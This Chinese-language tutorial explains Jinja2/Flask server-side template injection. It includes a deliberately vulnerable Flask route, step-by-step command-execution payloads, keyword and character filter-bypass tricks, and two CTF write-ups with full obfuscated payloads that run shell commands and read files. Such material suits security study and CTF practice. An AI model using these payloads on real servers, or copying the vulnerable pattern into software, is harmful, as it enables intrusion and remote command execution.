SSTI服務端模板注入漏洞原理詳解及利用姿勢集錦

基本概念

模板引擎

模板引擎是在 Web 開發中,為了使用戶介面與業務數據(內容)分離而產生的,它可以生成特定格式的文檔,模板引擎會將模板文件和數據通過引擎整合生成最終的HTML程式碼並用於展示。
模板引擎的底層邏輯就是進行字元串拼接。模板引擎利用正則表達式識別模板佔位符,並用數據替換其中的佔位符。

SSTI

SSTI(Server-Side Template Injection)服務端模板注入主要是 Python 的一些框架,如 jinja2、mako、tornado、django,PHP 框架 smarty、twig,Java 框架 jade、velocity 等等使用渲染函數時,由於程式碼不規範或信任了用戶輸入而導致了服務端模板注入,模板渲染其實並沒有漏洞,主要是程式設計師對程式碼不規範不嚴謹造成了模板注入漏洞,造成模板可控。

Jinja2

Jinja2 是一種面向Python的現代和設計友好的模板語言,它是以Django的模板為模型的。
Jinja2 是 Flask 框架的一部分。Jinja2 會把模板參數提供的相應的值替換了 {{…}} 塊。
Jinja2 模板同樣支援控制語句,像在 {%…%} 塊中。

控制結構 {% %} 可以聲明變數,也可以執行語句
變數取值 {{ }} 用於將表達式列印到模板輸出
注釋塊 {# #} 用於注釋

Python基礎

當我們啟動一個python解釋器時,即時沒有創建任何變數或者函數,還是會有很多函數可以使用,我們稱之為內建函數。內建函數並不需要我們自己做定義,而是在啟動python解釋器的時候,就已經導入到記憶體中供我們使用,想要了解這裡面的工作原理,我們可以從名稱空間開始。__builtins__ 方法是做為默認初始模組出現的,可用於查看當前所有導入的內建函數。
Python語言實現為部分對象類型添加了一些特殊的只讀屬性,它們具有各自的作用。其中一些並不會被 dir() 內置函數所列出。

__class__
  查看對象所在的類
__mro__
  查看繼承關係和調用順序,返回元組
__base__
  返回基類
__bases__
  返回基類元組
__subclasses__()
  返回子類列表
__init__
  調用初始化函數,可以用來跳到__globals__
__globals__
  返回函數所在的全局命名空間所定義的全局變數,返回字典
__builtins__
  返回內建內建名稱空間字典
__dic__
  返回類的靜態函數、類函數、普通函數、全局變數以及一些內置的屬性
__getattribute__()
  實例、類、函數都具有的魔術方法。事實上,在實例化的對象進行.操作的時候(形如:a.xxx/a.xxx() 都會自動去調用此方法。因此我們同樣可以直接通過這個方法來獲取到實例、類、函數的屬性。
__getitem__()
  調用字典中的鍵值,其實就是調用這個魔術方法,比如a[‘b’],就是a.__getitem__(‘b’)
__builtins__
  內建名稱空間,內建名稱空間有許多名字到對象之間映射,而這些名字其實就是內建函數的名稱,對象就是這些內建函數本身。即裡面有很多常用的函數。__builtins__與__builtin__的區別就不放了,百度都有。
__import__
  動態載入類和函數,也就是導入模組,經常用於導入os模組,__import__(‘os’).popen(‘ls’).read()]
__str__()
  返回描寫這個對象的字元串,可以理解成就是列印出來。
url_for
  flask的一個方法,可以用於得到__builtins__,而且url_for.__globals__[‘__builtins__’]含有current_app
get_flashed_messages
  flask的一個方法,可以用於得到__builtins__,而且url_for.__globals__[‘__builtins__’]含有current_app
lipsum
  flask的一個方法,可以用於得到__builtins__,而且lipsum.__globals__含有os模組:{{lipsum.__globals__[‘os’].popen(‘ls’).read()}} {{cycler.__init__.__globals__.os.popen(‘ls’).read()}}
current_app
  應用上下文,一個全局變數
request
  可以用於獲取字元串來繞過,包括下面這些,引用一下羽師傅的。此外,同樣可以獲取open函數:request.__init__.__globals__[‘__builtins__’].open(‘/proc\self\fd/3’).read()
request.args.x1
  get傳參
request.values.x1
  所有參數
request.cookies
  cookies參數
request.headers
  請求頭參數
request.form.x1
  post傳參(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data
  post傳參(Content-Type:a/b)
request.json
  post傳json(Content-Type:application/json)
config
  當前application的所有配置。此外,也可以{{config.__class__.__init__.__globals__[‘os’].popen(‘ls’).read()}}

漏洞原理

程式碼復現

如以下程式碼:

from flask import Flask, render_template, request, render_template_string

app = Flask(__name__)


@app.route('/ssti', methods=['GET', 'POST'])
def sb():
    template = '''
        <div class="center-content error">
            <h1>This is ssti! %s</h1>
        </div>
    ''' % request.args["x"]

    return render_template_string(template)


if __name__ == '__main__':
    app.debug = True
    app.run()

模板文件接收了名為x的傳入參數,並且將參數值回顯到頁面上。
啟動服務,手動傳入參數,可以看到功能正常,其中參數x的值完全可控:

image

嘗試寫入 Jinja2 的模板語言,發現模板引擎成功解析。說明模板引擎並不是將我們輸入的值當作字元串,而是當作程式碼執行了。

image

那麼,攻擊者就可以通過精心構造惡意的 Payload 來讓伺服器執行任意程式碼,造成嚴重危害。下圖通過 SSTI 命令執行成功執行 whoami 命令:

image

Payload解析

先上Payload:

{{''.__class__.__base__.__subclasses__()[1].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}

下面分步對每一步程式碼進行分析:

  1. 首先考慮拿到一個class,通過字元串、元組、列表、字典均可。
{{''.__class__}}
# <class 'str'>
{{().__class__}}
# <type 'tuple'>
{{[].__class__}}
# <type 'list'>
{{{}.__class__}}
# <type 'dict'>
  1. 下一步目的是拿到object基類。
{{''.__class__.__base__}}
# <class 'object'>
  1. 然後獲取對應子類。
{{''.__class__.__base__.__subclasses__()}}
# [<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, ...
  1. 在所有的子類中選擇一個可用的類,去獲取__globals__全局變數。如果這些函數並沒有被重載,這時他們並不是function,不具有__globals__屬性。
{{''.__class__.__base__.__subclasses__()[128]}}
# <class 'os._wrap_close'>
  1. 通過某些手段找到某個函數是可用的,下一步利用這個類的__init__函數獲取到__globals__全局變數。
{{''.__class__.__base__.__subclasses__()[128].__init__}}
# <function _wrap_close.__init__ at 0x00000221629F5048>

{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__}}
# ..., 'eval': <built-in function eval>, ...
  1. 再獲取到__globals__全局變數里的__builtins__中的eval函數。
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']}}
# {'__name__': 'builtins', '__doc__': ...

{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']}}
# <built-in function eval>
  1. 使用popen命令執行即可。
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}
# root

常規繞過姿勢

其他Payload

  1. 獲取基類
    __bases__方法用來查看某個類的基類,也可以使用數組索引來查看特定位置的值。通過該屬性可以查看該類的所有直接父類。獲取基類還能用__mro__方法,該方法可以用來獲取一個類的調用順序。也可以利用__base__方法獲取直接基類。
{{''.__class__.__bases__}}
# (<class 'object'>,)
{{''.__class__.__bases__[0]}}
# <class 'object'>
{{''.__class__.__mro__}}
# (<class 'str'>, <class 'object'>)
{{''.__class__.__base__}}
# <class 'object'>
  1. 執行命令
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
{{''.__class__.__base__.__subclasses__()[128]["load_module"]("os")["popen"]("ls /").read()}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['linecache']['os'].popen('ls /').read()}}
{{''.__class__.__base__.__subclasses__()[128]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
# root

過濾關鍵字

繞過對雙引號里關鍵字的限制,比如{{”.__class__}},如果過濾_或class關鍵字

  1. 16進位編碼
    {{”.__class__}}等價於{{”[“__class__”]}},所以可以將其中關鍵字編碼或者部分編碼,如
{{''["\x5f\x5f\x63las\x73\x5f\x5f"]}}
  1. 使用unicode編碼(適用於Flask)
{{''["\u005f\u005fclas\u0073\u005f\u005f"]}}
  1. 使用字元串拼接、引號繞過,在Jinjia2中加號可以省略
{{''["__clas"+"s__"]}}
{{''["__clas""s__"]}}
  1. 使用base64編碼(適用於Python2)
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3Blbigid2hvYW1pIikucmVhZCgp'.decode('base64'))}}
  1. 使用join()函數繞過,比如過濾了flag關鍵字
[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()

過濾中括弧

  1. 使用__getitem__函數即可,它的作用是從__getitem__(i)等價於[i]獲取第i個元素,因此可以替換,如
{{''.__class__.__mro__.__getitem__(1)}}
  1. 使用pop函數也可以
{{''.__class__.__mro__.__getitem__(1).__subclasses__().pop(80)}}
  1. 使用.來訪問
{{''.__class__.__mro__.__getitem__(1).__subclasses__()[80].__init__.__globals__.__builtins__}}

過濾下劃線

  1. 使用request對象。Flask可以有以下參數

form
args
values
cookies
stream
headers

{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[80]('/flag').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__
{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[80].__init__.__globals__['os'].popen('whoami').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__

過濾點.(適用於Flask)

  1. 使用中括弧來互換
{{''.__class__}}
{{''["__class__"]}}
{{''|attr("__class__")}}
  1. 也可以使用原生 JinJa2 的 attr() 函數,如
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(80)|attr("__init__")|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("eval")('__import__("os").popen("whoami").read()')}}

過濾花括弧{{}}

  1. 如果題目直接把{{}}過濾了,可以考慮使用Flask模板的另一種形式{%%}裝載一個循環控制語句來繞過
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}
  1. 也可以使用{% if ... %}1{% endif %}配合 os.popen 和 curl 將執行結果外帶(不外帶的話無回顯)
{% if ''.__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen('whoami') %}1{% endif %}
  1. 也可以用{%print(......)%}的形式來代替{{}}
{%print(''.__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()"))%}

使用 Jinja2 過濾器繞過

在 JinJa2 中內置了很多過濾器,變數可以通過過濾器進行修改,過濾器與變數之間用管道符號|隔開,括弧中可以有可選參數,也可以沒有參數,過濾器函數可以帶括弧也可以不帶括弧。可以使用管道符號|連接多個過濾器,一個過濾器的輸出應用於下一個過濾器。
內置過濾器列表如下:

abs() forceescape() map() select() unique() attr() format() max()
selectattr() upper() batch() groupby() min() slice() urlencode() capitalize()
indent() pprint() sort() urlize() center() int() random() string()
wordcount() default() items() reject() striptags() wordwrap() dictsort() join()
rejectattr() sum() xmlattr() escape() last() replace() title() filesizeformat()
length() reverse() tojson() first() list() round() trim() float()
lower() safe() truncate()

其中常見過濾器用法如下:

abs()
  返回參數的絕對值。
attr()
  獲取對象的屬性。foo|attr(“bar”) 等價於 foo.bar
capitalize()
  第一個字元大寫,所有其他字元小寫。
first()
  返回序列的第一項。
float()
  將值轉換為浮點數。如果轉換不起作用將返回 0.0。
int()
  將值轉換為整數。如果轉換不起作用將返回 0。
items()
  返回一個迭代器(key, value)映射項。

其他用法詳見官方文檔:

Template Designer Documentation – Jinja Documentation (3.2.x)

使用過濾器構造Payload,一般思路是利用這些過濾器,逐步拼接出需要的字元、數字或字元串。對於一般原始字元的獲取方法有以下幾種:

{% set org = ({ }|select()|string()) %}{{org}}
# <generator object select_or_reject at 0x0000020B2CA4EA20>
{% set org = (self|string()) %}{{org}}
# <TemplateReference None>
{% set org = self|string|urlencode %}{{org}}
# %3CTemplateReference%20None%3E
{% set org = (app.__doc__|string) %}{{org}}
# Hello The default undefined type.  This undefined type can be printed and
#    iterated over, but every other access will raise an :exc:`UndefinedError`:
#
#     >>> foo = Undefined(name='foo')
#     >>> str(foo)
#     ''
#     >>> not foo
#     True
#     >>> foo + 42
#     Traceback (most recent call last):
#       ...
#     jinja2.exceptions.UndefinedError: 'foo' is undefined
{% set num = (self|int) %}{{num}}
# 0
{% set num = (self|string|length) %}{{num}}
# 24
{% set point = self|float|string|min %}{{point}}
# .

通過以上幾種Payload,返回的字元串中包含尖括弧、字母、空格、下劃線、數字、空格、百分號、點號。
我們的目標就是使用這些返回的字元串,結合各種過濾器,拼接出最終的Payload。

實戰例題

[網路安全管理員職業技能大賽]EZSS

進入頁面,發現提示please get pid,嘗試GET傳參,發現回顯參數值到頁面了。
結合題目名稱以及返回報文頭的Server資訊,初步判斷是一道SSTI題目。

經過嘗試,題目過濾了{{}},使用{%print %}來繞過,說明存在SSTI漏洞。

?pid={%print 7*7%}

在這裡插入圖片描述
題目還過濾了.,使用多個參數傳入[request["args"]["a"]]來繞過,因為題目的過濾規則只對pid參數生效,我們把關鍵通過別的參數傳入,再將參數值進行拼接即可。

查看可用的類:

?pid={%print+()[request["args"]["a"]][request["args"]["b"]][0][request["args"]["c"]]()%}&a=__class__&b=__bases__&c=__subclasses__

在這裡插入圖片描述

執行命令並讀取flag即可:

{%print ()[request["args"]["a"]][request["args"]["b"]][0][request["args"]["c"]]()[146]('whoami',shell=True,stdout=-1)["stdout"]["readlines"]() %}&a=__class__&b=__bases__&c=__subclasses__&d=__init__&f=communicate

在這裡插入圖片描述

[Dest0g3 520迎新賽]EasySSTI

進入題目是一個登錄框,點擊登錄可以回顯用戶名,經過嘗試發現存在SSTI:

image

經過Fuzz,發現過濾了 _.'"[]等字元,還有各種class、request、eval等關鍵字。
需要注入也就是需要程式執行的程式碼如下:

__import__('os').popen('cat /flag').read()

通過過濾器構造payload:

{% set zero = (self|int) %}
{% set one = (zero**zero)|int %}
{% set two = (zero-one-one)|abs %}
{% set four = (two*two)|int %}
{% set five = (two*two*two)-one-one-one %}
{% set three = five-one-one %}
{% set nine = (two*two*two*two-five-one-one) %}
{% set seven = (zero-one-one-five)|abs %}
{% set space = self|string|min %}
{% set point = self|float|string|min %}
{% set c = dict(c=aa)|reverse|first %}
{% set bfh = self|string|urlencode|first %}
{% set bfhc = bfh~c %}
{% set slas = bfhc%((four~seven)|int) %}
{% set yin = bfhc%((three~nine)|int) %}
{% set xhx = bfhc%((nine~five)|int) %}
{% set right = bfhc%((four~one)|int) %}
{% set left = bfhc%((four~zero)|int) %}
{% set but = dict(buil=aa,tins=dd)|join %}
{% set imp = dict(imp=aa,ort=dd)|join %}
{% set pon = dict(po=aa,pen=dd)|join %}
{% set so = dict(o=aa,s=dd)|join %}
{% set ca = dict(ca=aa,t=dd)|join %}
{% set ls = dict(ls=x)|join %}
{% set ev = dict(ev=aa,al=dd)|join %}
{% set red = dict(re=aa,ad=dd)|join %}
{% set bul = xhx~xhx~but~xhx~xhx %}
{% set ini = dict(ini=aa,t=bb)|join %}
{% set glo = dict(glo=aa,bals=bb)|join %}
{% set itm = dict(ite=aa,ms=bb)|join %}
{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~(dict(flag=1)|join)~yin~right~point~red~left~right %}
{% for f,v in (self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}
    {% if f == bul %}
        {% for a,b in (v|attr(itm))() %}
            {% if a == ev %}
                {{b(pld)}}
            {% endif %}
        {% endfor %}
    {% endif %}
{% endfor %}

空格繞過一般可以考慮以下:

%20
%09
%0a
%0b
%0c
%0d
%a0
%00

本題可以使用%0c繞過,最終Payload如下:

username={%%0cset%0czero%0c=%0c(self|int)%0c%}{%%0cset%0cone%0c=%0c(zero**zero)|int%0c%}{%%0cset%0ctwo%0c=%0c(zero-one-one)|abs%0c%}{%%0cset%0cfour%0c=%0c(two*two)|int%0c%}{%%0cset%0cfive%0c=%0c(two*two*two)-one-one-one%0c%}{%%0cset%0cthree%0c=%0cfive-one-one%0c%}{%%0cset%0cnine%0c=%0c(two*two*two*two-five-one-one)%0c%}{%%0cset%0cseven%0c=%0c(zero-one-one-five)|abs%0c%}{%%0cset%0cspace%0c=%0cself|string|min%0c%}{%%0cset%0cpoint%0c=%0cself|float|string|min%0c%}{%%0cset%0cc%0c=%0cdict(c=aa)|reverse|first%0c%}{%%0cset%0cbfh%0c=%0cself|string|urlencode|first%0c%}{%%0cset%0cbfhc%0c=%0cbfh~c%0c%}{%%0cset%0cslas%0c=%0cbfhc%((four~seven)|int)%0c%}{%%0cset%0cyin%0c=%0cbfhc%((three~nine)|int)%0c%}{%%0cset%0cxhx%0c=%0cbfhc%((nine~five)|int)%0c%}{%%0cset%0cright%0c=%0cbfhc%((four~one)|int)%0c%}{%%0cset%0cleft%0c=%0cbfhc%((four~zero)|int)%0c%}{%%0cset%0cbut%0c=%0cdict(buil=aa,tins=dd)|join%0c%}{%%0cset%0cimp%0c=%0cdict(imp=aa,ort=dd)|join%0c%}{%%0cset%0cpon%0c=%0cdict(po=aa,pen=dd)|join%0c%}{%%0cset%0cso%0c=%0cdict(o=aa,s=dd)|join%0c%}{%%0cset%0cca%0c=%0cdict(ca=aa,t=dd)|join%0c%}{%%0cset%0cls%0c=%0cdict(ls=x)|join%0c%}{%%0cset%0cev%0c=%0cdict(ev=aa,al=dd)|join%0c%}{%%0cset%0cred%0c=%0cdict(re=aa,ad=dd)|join%0c%}{%%0cset%0cbul%0c=%0cxhx~xhx~but~xhx~xhx%0c%}{%%0cset%0cini%0c=%0cdict(ini=aa,t=bb)|join%0c%}{%%0cset%0cglo%0c=%0cdict(glo=aa,bals=bb)|join%0c%}{%%0cset%0citm%0c=%0cdict(ite=aa,ms=bb)|join%0c%}{%%0cset%0cpld%0c=%0cxhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~(dict(flag=1)|join)~yin~right~point~red~left~right%0c%}{%%0cfor%0cf,v%0cin%0c(self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))()%0c%}{%%0cif%0cf%0c==%0cbul%0c%}{%%0cfor%0ca,b%0cin%0c(v|attr(itm))()%0c%}{%%0cif%0ca%0c==%0cev%0c%}{{b(pld)}}{%%0cendif%0c%}{%%0cendfor%0c%}{%%0cendif%0c%}{%%0cendfor%0c%}&password=admin

image

參考鏈接

以 Bypass 為中心譚談 Flask-jinja2 SSTI 的利用 – 先知社區
Flask(Jinja2) 服務端模板注入漏洞(SSTI) – 淚笑 – 部落格園
flask之ssti模版注入從零到入門 – 先知社區
從SSTI到沙箱逃逸-jinja2
CTFshow刷題日記-WEB-SSTI(web361-372)_OceanSec的部落格-CSDN部落格